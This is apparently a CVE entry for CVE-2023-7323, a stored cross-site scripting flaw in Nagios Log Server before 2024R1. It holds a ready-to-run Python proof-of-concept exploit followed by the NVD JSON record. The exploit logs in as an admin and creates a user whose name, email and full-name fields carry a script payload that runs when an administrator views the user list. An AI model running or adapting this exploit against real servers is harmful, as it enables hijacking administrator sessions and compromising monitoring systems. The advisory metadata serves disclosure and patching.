CVE-2023-7323

import requests import json # CVE-2023-7323 PoC - Nagios Log Server XSS via Create User # Target: Nagios Log Server < 2024R1 target_url = "http://target:8080" login_url = f"{target_url}/api/login" create_user_url = f"{target_url}/api/users/create" # XSS Payload xss_payload = '<script>alert(document.cookie)</script>' # Authentication credentials = { "username": "admin", "password": "admin123" } session = requests.Session() # Step 1: Login login_response = session.post(login_url, json=credentials) if login_response.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Create user with XSS payload user_data = { "username": f"testuser{xss_payload}", "email": f"test{xss_payload}@example.com", "fullname": f"Test User{xss_payload}", "password": "Password123!", "role": "user" } create_response = session.post(create_user_url, json=user_data) if create_response.status_code in [200, 201]: print("[+] Malicious user created successfully") print("[*] XSS payload injected via Create User function") print("[*] Payload will execute when admin views user list") else: print(f"[-] Failed to create user: {create_response.status_code}") print(f"[*] Response: {create_response.text}")

{"cve": {"id": "CVE-2023-7323", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:44.340", "lastModified": "2025-11-06T16:20:27.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios Log Server versions prior to 2024R1 are vulnerable to cross-site scripting (XSS) via the Create User function. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:log_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "87E74637-713C-4DD7-B97E-2F247B7B12B1"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-log-server-2024r1/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-log-server-xss-via-create-user-function", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}